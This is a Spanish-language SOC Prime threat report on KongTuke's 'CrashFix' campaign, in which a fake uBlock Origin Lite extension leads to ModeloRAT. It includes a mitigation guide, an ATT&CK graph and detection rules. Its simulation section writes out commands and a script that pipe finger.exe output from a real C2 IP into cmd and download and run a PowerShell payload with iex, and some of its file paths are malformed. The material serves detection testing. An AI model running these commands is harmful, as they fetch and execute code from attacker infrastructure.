SOC Prime Bias: Crítico

21 Ene 2026 19:34

Desglosando CrashFix: El Nuevo Juguete de KongTuke

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Desglosando CrashFix: El Nuevo Juguete de KongTuke
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

KongTuke distribuyó una extensión maliciosa de Chrome, NexShield, que imita a uBlock Origin Lite. Una vez instalada, muestra una advertencia de seguridad «CrashFix» para simular un incidente legítimo de seguridad del navegador, hace que el navegador se bloquee y coacciona al usuario para que ejecute un comando malicioso de PowerShell copiado en el portapapeles. La campaña despliega un RAT de Python, ModeloRAT, en sistemas unidos a dominios y una cadena de PowerShell de varias etapas en hosts independientes.

Investigación

Los analistas de Huntress revisaron el código de la extensión, vincularon el comando y control a nexsnield.com e invirtieron la ingeniería de las cargas útiles. Observaron el abuso de finger.exe como LOLBin para recuperar instrucciones del atacante, además de un DGA que genera dominios .top. Para entornos en un dominio, los investigadores identificaron un implante de Python cifrado con RC4 que persiste a través de la clave HKCU Run. La ciberinteligencia adicional incluyó verificaciones de anti-análisis, saltos AMSI, y tácticas de agotamiento de recursos destinadas a presionar a los usuarios para un rápido cumplimiento total.

Mitigación

Bloquee el ID de la extensión de Chrome y monitoree las extensiones desconocidas que imitan bloqueadores de anuncios populares. Detecte activación a nexsnield.com, las IPs de C2 y los dominios producidos por DGA. Aplique control de ejecución para limitar el uso de LOLBin (incluyendo finger.exe) y alerte sobre valores sospechosos de la clave Run, particularmente nombres diseñados para parecer software ampliamente utilizado.

Respuesta

Alerte sobre instalaciones de extensiones relacionadas con NexShield y correlacione con conexiones de salida a la infraestructura C2 y DGA identificada. Aísle los hosts afectados y recoja artefactos de extensión, claves de registro Run, tareas programadas y archivos descargados. Elimine la persistencia de ModeloRAT, erradique los componentes de la fase de PowerShell y remedie y valide el punto final.

graph TB %% Class definitions classDef action fill:#FFEEAA classDef tool fill:#99CCFF classDef malware fill:#FF9999 classDef process fill:#CCFFCC classDef persistence fill:#D9D9D9 classDef operator fill:#FFCC66 %% Nodes content_injection[«<b>Acción</b> – <b>T1659 Inyección de contenido</b><br/>Un anuncio malicioso redirige a la víctima a una página falsa de Chrome Web Store que ofrece una extensión maliciosa»] class content_injection action software_extension[«<b>Acción</b> – <b>T1176 Extensiones de software</b><br/>Se instala en el navegador una extensión maliciosa que se hace pasar por uBlock Origin Lite»] class software_extension action extension_nexshield[«<b>Herramienta</b> – <b>Nombre</b>: NexShield (extensión maliciosa de Chrome)<br/><b>Descripción</b>: Proporciona persistencia y ejecuta lógica maliciosa adicional»] class extension_nexshield tool user_execution[«<b>Acción</b> – <b>T1204.004 Ejecución por el usuario</b><br/>La extensión copia un comando PowerShell al portapapeles y la víctima lo ejecuta mediante Win+R»] class user_execution action powershell_process[«<b>Proceso</b> – <b>T1059.001 PowerShell</b><br/>Ejecuta un comando PowerShell que descarga cargas útiles adicionales»] class powershell_process process cmd_process[«<b>Proceso</b> – <b>T1059.003 Intérprete de comandos de Windows</b><br/>PowerShell invoca cmd.exe para ejecutar fases adicionales»] class cmd_process process sandbox_evasion[«<b>Acción</b> – <b>T1497.002 Evasión de virtualización/sandbox</b><br/>La carga útil realiza comprobaciones extensivas de VM, sandbox y herramientas de análisis»] class sandbox_evasion action dos_exhaustion[«<b>Acción</b> – <b>T1499.003 Denegación de servicio del endpoint</b><br/>Crea miles de millones de puertos de ejecución de Chrome para agotar CPU y memoria, provocando el fallo del navegador»] class dos_exhaustion action event_trigger[«<b>Acción</b> – <b>T1546 Ejecución activada por eventos</b><br/>Utiliza la API Chrome Alarms para retrasar acciones maliciosas 60 minutos y repetirlas cada 10 minutos»] class event_trigger action dead_drop[«<b>Acción</b> – <b>T1102.001 Resolución Dead Drop mediante servicios web</b><br/>Contacta dominios DGA generados dinámicamente para recuperar etapas adicionales»] class dead_drop action dga_resolution[«<b>Acción</b> – <b>T1568 Resolución dinámica</b><br/>El algoritmo de generación de dominios produce dominios rotativos semanales para C2»] class dga_resolution action bidirectional_comm[«<b>Acción</b> – <b>T1102.002 Comunicación bidireccional mediante servicios web</b><br/>ModeloRAT intercambia comandos y respuestas cifradas a través de HTTP»] class bidirectional_comm action oneway_comm[«<b>Acción</b> – <b>T1102.003 Comunicación unidireccional mediante servicios web</b><br/>Envía telemetría y datos de instalación/actualización a un servidor controlado por el atacante»] class oneway_comm action encrypted_rc4[«<b>Acción</b> – <b>T1573.001 Canal cifrado</b><br/>El tráfico C2 está cifrado mediante criptografía simétrica RC4»] class encrypted_rc4 action obfuscation[«<b>Acción</b> – <b>T1027 Archivos o información ofuscados</b><br/>Las cargas útiles están protegidas en capas mediante Base64, XOR y cifrado AES»] class obfuscation action stripped_payload[«<b>Acción</b> – <b>T1027.008 Cargas útiles depuradas</b><br/>Las cargas útiles se depuran y codifican para evadir el análisis»] class stripped_payload action embedded_payload[«<b>Acción</b> – <b>T1027.009 Cargas útiles incrustadas</b><br/>Las cargas útiles cifradas se cargan directamente en memoria»] class embedded_payload action appcert_dll[«<b>Acción</b> – <b>T1546.009 Ejecución activada por eventos: AppCert DLL</b><br/>El bucle DoS aprovecha los puertos de ejecución de Chrome de forma análoga a la técnica AppCert DLL»] class appcert_dll action remote_access_tool[«<b>Malware</b> – <b>T1219 Herramientas de acceso remoto</b><br/>ModeloRAT proporciona capacidades completas de acceso remoto»] class remote_access_tool malware persistence_run[«<b>Acción</b> – <b>T1554 Compromiso de binarios de software del host</b><br/>La entrada HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run inicia pythonw.exe para persistencia»] class persistence_run persistence exec_guardrail[«<b>Acción</b> – <b>T1480.002 Barreras de ejecución</b><br/>Comprueba ejecuciones previas mediante balizas UUID para evitar infecciones duplicadas»] class exec_guardrail action %% Edges content_injection –>|leads_to| software_extension software_extension –>|installs| extension_nexshield extension_nexshield –>|provides_persistence| persistence_run extension_nexshield –>|copies_command| user_execution user_execution –>|triggers| powershell_process powershell_process –>|launches| cmd_process powershell_process –>|performs| sandbox_evasion sandbox_evasion –>|allows| powershell_process powershell_process –>|creates| dos_exhaustion dos_exhaustion –>|uses| appcert_dll extension_nexshield –>|sets| event_trigger event_trigger –>|delays| powershell_process powershell_process –>|contacts| dead_drop dead_drop –>|uses| dga_resolution dga_resolution –>|provides| bidirectional_comm bidirectional_comm –>|encrypts_with| encrypted_rc4 bidirectional_comm –>|exchanges_with| remote_access_tool oneway_comm –>|sends_to| encrypted_rc4 powershell_process –>|obfuscates_using| obfuscation obfuscation –>|includes| stripped_payload obfuscation –>|includes| embedded_payload remote_access_tool –>|communicates_via| bidirectional_comm remote_access_tool –>|sends_telemetry| oneway_comm persistence_run –>|creates| exec_guardrail exec_guardrail –>|prevents| persistence_run

Flujo de ataque

Detecciones

Llamada a Métodos .NET Sospechosos desde PowerShell (vía powershell)

Equipo SOC Prime
21 Ene 2026

Uso Sospechoso de CURL (vía cmdline)

Equipo SOC Prime
21 Ene 2026

Nombre de Archivo Corto (vía cmdline)

Equipo SOC Prime
21 Ene 2026

Posible Operación de Scripting o Manual en Carpetas Inusuales (vía cmdline)

Equipo SOC Prime
21 Ene 2026

Cadenas de PowerShell Sospechosas (vía powershell)

Equipo SOC Prime
21 Ene 2026

Llamada a Funciones API de Windows Sospechosas desde PowerShell (vía powershell)

Equipo SOC Prime
21 Ene 2026

Posibles Puntos de Persistencia [ASEPs – Hive de Software/NTUSER] (vía registro_event)

Equipo SOC Prime
21 Ene 2026

Un Archivo Fue Extraído a un Directorio Sospechoso Usando PowerShell (vía powershell)

Equipo SOC Prime
21 Ene 2026

Ejecución de Python desde Carpetas Sospechosas (vía cmdline)

Equipo SOC Prime
21 Ene 2026

Posibles Indicadores de Ofuscación de PowerShell (vía powershell)

Equipo SOC Prime
21 Ene 2026

Posible Enumeración del Sistema (vía cmdline)

Equipo SOC Prime
21 Ene 2026

Descarga o Subida vía PowerShell (vía cmdline)

Equipo SOC Prime
21 Ene 2026

IOCs (IP Fuente) para detectar: Descomponiendo CrashFix: El Nuevo Juguete de KongTuke

Reglas AI SOC Prime
21 Ene 2026

IOCs (HashSha256) para detectar: Descomponiendo CrashFix: El Nuevo Juguete de KongTuke

Reglas AI SOC Prime
21 Ene 2026

IOCs (DestinoIP) para detectar: Descomponiendo CrashFix: El Nuevo Juguete de KongTuke

Reglas AI SOC Prime
21 Ene 2026

IOCs (Emails) para detectar: Descomponiendo CrashFix: El Nuevo Juguete de KongTuke

Reglas AI SOC Prime
21 Ene 2026

Detectar Ejecución Maliciosa de Comandos de CrashFix de KongTuke [Creación de Procesos de Windows]

Reglas AI SOC Prime
21 Ene 2026

Detección de Salto de AMSI y Eliminación de Evidencias vía PowerShell [PowerShell de Windows]

Reglas AI SOC Prime
21 Ene 2026

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber sido superada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    El adversario primero copia el finger.exe legítimo al directorio temporal, lo renombra a ct.exe, y luego utiliza una cmd /c cadena anidada para invocar el binario copiado con un argumento diseñado que contacta a un servidor C2 remoto (199.217.98.108). El binario transmite la carga de nuevo a la línea de comandos, que luego se canaliza a un segundo cmd que ejecuta el código recibido. Posteriormente, el atacante utiliza PowerShell para descargar una carga secundaria mediante Invoke‑WebRequest y la ejecuta inmediatamente con iex. Todos los pasos se realizan con una interfaz de usuario mínima (/min) para evitar la detección por parte del usuario.

     1. Copiar finger.exe → %TEMP%ct.exe
      2. Ejecutar: cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd"
      3. Descargar y ejecutar carga secundaria con PowerShell:
         powershell -NoProfile -WindowStyle Hidden -Command "iex (Invoke-WebRequest -Uri 'http://199.217.98.108/payload.ps1' -UseBasicParsing).Content"
  • Script de Prueba de Regresión: El siguiente script reproduce la cadena completa de ataque en una máquina de prueba Windows. Ejecútelo en una sesión de PowerShell con privilegios elevados.

    #-------------------------------------------------
    # Ejecución Maliciosa de Comandos de CrashFix de KongTuke
    #-------------------------------------------------
    # 1. Desplegar el LOLBin (finger.exe) a %TEMP% como ct.exe
    $fingerPath = "$env:windirsystem32finger.exe"
    $tempExe    = "$env:TEMPct.exe"
    Copy-Item -Path $fingerPath -Destination $tempExe -Force
    
    # 2. Ejecutar la cadena de comandos maliciosos (coincide con la regla Sigma)
    $maliciousCmd = 'cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd"'
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c $maliciousCmd" -WindowStyle Hidden
    
    # 3. Descarga web con PowerShell y ejecución de carga secundaria
    $payloadUrl = 'http://199.217.98.108/payload.ps1'
    $psCommand  = "iex (Invoke-WebRequest -Uri `'$payloadUrl`' -UseBasicParsing).Content"
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `$psCommand`" -WindowStyle Hidden
    #-------------------------------------------------
  • Comandos de Limpieza: Eliminar artefactos y terminar cualquier proceso persistente creado por la prueba.

    # Eliminar el ct.exe copiado
    Remove-Item -Path "$env:TEMPct.exe" -ErrorAction SilentlyContinue
    
    # Matar cualquier proceso de cmd.exe o powershell.exe que haya sido iniciado por la prueba (filtrar por línea de comandos específica)
    Get-WmiObject Win32_Process |
        Where-Object { $_.CommandLine -match 'finger.exe|199.217.98.108' } |
        ForEach-Object { $_.Terminate() }
    
    # Opcional: limpiar el Registro de Eventos si es necesario para la repetibilidad
    # wevlutil cl Security